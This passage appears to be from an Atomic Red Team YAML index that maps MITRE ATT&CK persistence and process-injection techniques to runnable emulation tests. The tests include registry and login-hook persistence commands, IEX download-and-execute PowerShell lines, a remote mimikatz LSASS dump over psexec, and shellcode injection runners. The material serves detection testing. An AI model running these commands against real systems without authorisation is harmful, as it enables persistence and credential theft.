          Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb
        cleanup_command: |
          Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore
          Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Registry key creation and/or modification events for SDB
      auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f
      description: |
        Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
        the registry keys that were created. These keys can also be viewed using the Registry Editor.

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
        cleanup_command: |
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1547.010:
    technique:
      modified: '2024-04-12T02:49:39.980Z'
      name: 'Boot or Logon Autostart Execution: Port Monitors'
      description: "Adversaries may use port monitors to run an adversary supplied
        DLL during system boot for persistence or privilege escalation. A port monitor
        can be set through the <code>AddMonitor</code> API call to set a DLL to be
        loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code>
        and will be loaded and run by the print spooler service, `spoolsv.exe`, under
        SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an
        arbitrary DLL can be loaded if permissions allow writing a fully-qualified
        pathname for that DLL to the `Driver` value of an existing or new arbitrarily
        named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.
        The Registry key contains entries for the following:\n\n* Local Port\n* Standard
        TCP/IP Port\n* USB Monitor\n* WSD Port\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Stefan Kanthak
      - Travis Smith, Tripwire
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process API calls to <code>AddMonitor</code>.(Citation:
        AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are
        abnormal. New DLLs written to the System32 directory that do not correlate
        with known good software or patching may be suspicious. \n\nMonitor Registry
        writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>,
        paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns
        utility, which checks for this Registry key as a persistence mechanism.(Citation:
        TechNet Autoruns)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe
      created: '2020-01-24T19:46:27.750Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/010
        external_id: T1547.010
      - source_name: Bloxham
        description: Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint
          slides&#93;. Retrieved November 12, 2014.
        url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
      - source_name: AddMonitor
        description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12,
          2014.
        url: http://msdn.microsoft.com/en-us/library/dd183341
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.010
    atomic_tests:
    - name: Add Port Monitor persistence in Registry
      auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50
      description: Add key-value pair to a Windows Port Monitor registry. On the subsequent
        reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.
      supported_platforms:
      - windows
      input_arguments:
        monitor_dll:
          description: Addition to port monitor registry key. Normally refers to a
            DLL name in C:\Windows\System32 but an arbitrary DLL can be specified
            with the absolute path.
          type: path
          default: "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll"
      executor:
        command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"
          /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f

          '
        cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"
          /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1037.002:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
      created: '2020-01-10T16:01:15.995Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1037.002
        url: https://attack.mitre.org/techniques/T1037/002
      - source_name: Login Scripts Apple Dev
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html
        description: Apple. (2016, September 13). Customizing Login and Logout. Retrieved
          April 1, 2022.
      - source_name: LoginWindowScripts Apple Dev
        url: https://developer.apple.com/documentation/devicemanagement/loginwindowscripts
        description: Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.
      - source_name: Wardle Persistence Chapter
        url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
        description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved
          April 13, 2022.'
      - source_name: S1 macOs Persistence
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
          March 27, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may use a Login Hook to establish persistence executed
        upon user logon. A login hook is a plist file that points to a specific script
        to execute with root privileges upon user logon. The plist file is located
        in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file
        and can be modified using the <code>defaults</code> command-line utility.
        This behavior is the same for logout hooks where a script can be executed
        upon user logout. All hooks require administrator permissions to modify or
        create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts
        Apple Dev) \n\nAdversaries can add or insert a path to a malicious script
        in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code>
        or <code>LogoutHook</code> key-value pair. The malicious script is executed
        upon the next user login. If a login hook already exists, adversaries can
        add additional commands to an existing login hook. There can be only one login
        and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation:
        Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11
        version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)
        and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) "
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Initialization Scripts: Logon Script (Mac)'
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.002
    atomic_tests:
    - name: Logon Scripts - Mac
      auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4
      description: 'Mac logon script

        '
      supported_platforms:
      - macos
      executor:
        steps: "1. Create the required plist file\n\n    sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
          Populate the plist with the location of your shell script\n\n    sudo defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
          Create the required plist file in the target user's Preferences directory\n\n\t
          \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
          Populate the plist with the location of your shell script\n\n\t  defaults
          write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
        name: manual
  T1055:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Process Injection
      description: "Adversaries may inject code into processes in order to evade process-based
        defenses as well as possibly elevate privileges. Process injection is a method
        of executing arbitrary code in the address space of a separate live process.
        Running code in the context of another process may allow access to the process's
        memory, system/network resources, and possibly elevated privileges. Execution
        via process injection may also evade detection from security products since
        the execution is masked under a legitimate process. \n\nThere are many different
        ways to inject code into a process, many of which abuse legitimate functionalities.
        These implementations exist for every major OS but are typically platform
        specific. \n\nMore sophisticated samples may perform multiple process injections
        to segment modules and further evade detection, utilizing named pipes or other
        inter-process communication (IPC) mechanisms as a communication channel. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Anastasios Pingios
      - Christiaan Beek, @ChristiaanBeek
      - Ryan Becwar
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)
        \n\nMonitor DLL/PE file events, specifically creation of these binary files
        as well as the loading of DLLs into processes. Look for DLLs that are not
        recognized or not normally loaded into a process. \n\nMonitoring for Linux
        specific calls such as the ptrace system call should not generate large amounts
        of data due to their specialized nature, and can be a very effective method
        to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)
        \ (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload
        rootkits) \n\nMonitor for named pipe creation and connection events (Event
        IDs 17 and 18) for possible indicators of infected processes with external
        modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior
        to determine if a process is performing actions it usually does not, such
        as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Process: Process Modification'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
      created: '2017-05-31T21:30:47.843Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055
        external_id: T1055
      - source_name: GNU Acct
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        url: https://www.gnu.org/software/acct/
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: RHEL auditd
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
      - source_name: ArtOfMemoryForensics
        description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
      - source_name: Microsoft Sysmon v6 May 2017
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
      - source_name: Chokepoint preload rootkits
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1055
    atomic_tests:
    - name: Shellcode execution via VBA
      auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048
      description: |
        This module injects shellcode into a newly created process and executes. By default the shellcode is created,
        with Metasploit, for use on x86-64 Windows 10 machines.

        Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
        is required.
      supported_platforms:
      - windows
      input_arguments:
        txt_path:
          description: Path to file containing VBA macro to run
          type: path
          default: PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

          '
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

          '
      - description: '"#{txt_path}" must exist on disk at specified location

          '
        prereq_command: 'if (Test-Path "#{txt_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
        name: powershell
    - name: Remote Process Injection in LSASS via mimikatz
      auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83
      description: |
        Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
        Especially useful against domain controllers in Active Directory environments.
        It must be executed in the context of a user who is privileged on remote `machine`.

        The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
      supported_platforms:
      - windows
      input_arguments:
        machine:
          description: machine to target (via psexec)
          type: string
          default: DC1
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
        psexec_path:
          description: Path to PsExec
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

          '
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
      executor:
        command: '"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa
          /inject /id:500" "exit"

          '
        name: command_prompt
        elevation_required: false
    - name: Section View Injection
      auto_generated_guid: c6952f41-6cf0-450a-b352-2ca8dae7c178
      description: "This test creates a section object in the local process followed
        by a local section view.\nThe shellcode is copied into the local section view
        and a remote section view is created in the target process, pointing to the
        local section view. \nA thread is then created in the target process, using
        the remote section view as start address.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          $notepad = Start-Process notepad -passthru
          Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
        cleanup_command: Stop-Process $notepad.pid
        name: powershell
    - name: Dirty Vanity process Injection
      auto_generated_guid: 49543237-25db-497b-90df-d0a0a6e8fe2c
      description: "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection
        to create a cloned process of the parent process\nwith shellcode written in
        its memory. The shellcode is executed after being forked to the child process.
        The technique was first presented at \nBlackHat Europe 2022. Shellcode will
        open a messsage box and a notepad.\n"
      supported_platforms:
      - windows
      input_arguments:
        pid:
          description: Parent process ID
          type: string
          default: "(Start-Process calc.exe -PassThru).Id"
      executor:
        command: 'Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe"
          #{pid}

          '
        cleanup_command: Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue
          | Stop-Process -Force
        name: powershell
        elevation_required: false
    - name: Read-Write-Execute process Injection
      auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5387384f1e1'
      description: "This test exploited the vulnerability in legitimate PE formats
        where sections have RWX permission and enough space for shellcode.\nThe RWX
        injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory,
        thus evading detection mechanisms \nthat relied on API call sequences and
        heuristics. The RWX injection utilises API call sequences: LoadLibrary -->
        GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe
        injected shellcode will open a message box and a notepad.\nRWX Process Injection,
        also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore
        details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe
        original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n"
      supported_platforms:
      - windows
      input_arguments:
        vuln_dll:
          description: vulnerable DLL
          type: path
          default: PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{vuln_dll})

          '
        prereq_command: 'if (Test-Path "#{vuln_dll}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{vuln_dll}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "#{vuln_dll}"
      executor:
        command: |
          $address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
          & "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
    - name: Process Injection with Go using UuidFromStringA WinAPI
      auto_generated_guid: 2315ce15-38b6-46ac-a3eb-5e21abef2545
      description: "Uses WinAPI UuidFromStringA to load shellcode to a memory address
        then executes the shellcode using EnumSystemLocalesA.\nWith this technique,
        memory is allocated on the heap and does not use commonly suspicious APIs
        such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit:
        (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References:
        \n  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n
        \ - https://twitter.com/_CPResearch_/status/1352310521752662018\n  - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Process Injection with Go using EtwpCreateEtwThread WinAPI
      auto_generated_guid: 7362ecef-6461-402e-8716-7410e1566400
      description: "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode
        within the application's process.\nThis program loads the DLLs and gets a
        handle to the used procedures itself instead of using the windows package
        directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode
        with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory
        macro to copy the shellcode to the allocated memory space\n3. Change the memory
        page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread
        on shellcode address\n5. Call WaitForSingleObject so the program does not
        end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n-
        References: \n  - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n
        \ - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Remote Process Injection with Go using RtlCreateUserThread WinAPI
      auto_generated_guid: a0c1725f-abcd-40d6-baac-020f3cf94ecd
      description: "Executes shellcode in a remote process.\n\nSteps taken with this
        technique\n1. Get a handle to the target process\n2. Allocate memory for the
        shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3.
        Use the WriteProcessMemory to copy the shellcode to the allocated memory space
        in the remote process\n4. Change the memory page permissions to Execute/Read
        with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote
        process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n-
        PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n-
        References: \n  - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n"
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using CreateRemoteThread WinAPI
      auto_generated_guid: 69534efc-d5f5-4550-89e6-12c6457b9edd
      description: |
        Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.

        This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().

        Steps taken with this technique
        1. Get a handle to the target process
        2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
        3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
        4. Change the memory page permissions to Execute/Read with VirtualProtectEx
        5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
        6. Close the handle to the remote process

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
         - References:
          - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
      auto_generated_guid: 2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39
      description: |
        Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.

        This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

        1. Get a handle to the target process
        2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
        3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
        4. Change the memory page permissions to Execute/Read with VirtualProtectEx
        5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
        6. Close the handle to the remote process

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Process Injection with Go using CreateThread WinAPI
      auto_generated_guid: 2871ed59-3837-4a52-9107-99500ebc87cb
      description: |
        This program executes shellcode in the current process using the following steps
        1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
        2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
        3. Change the memory page permissions to Execute/Read with VirtualProtect
        4. Call CreateThread on shellcode address
        5. Call WaitForSingleObject so the program does not end before the shellcode is executed

        This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Process Injection with Go using CreateThread WinAPI (Natively)
      auto_generated_guid: 2a3c7035-d14f-467a-af94-933e49fe6786
      description: |
        This program executes shellcode in the current process using the following steps
        1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
        2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
        3. Change the memory page permissions to Execute/Read with VirtualProtect
        4. Call CreateThread on shellcode address
        5. Call WaitForSingleObject so the program does not end before the shellcode is executed

        This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
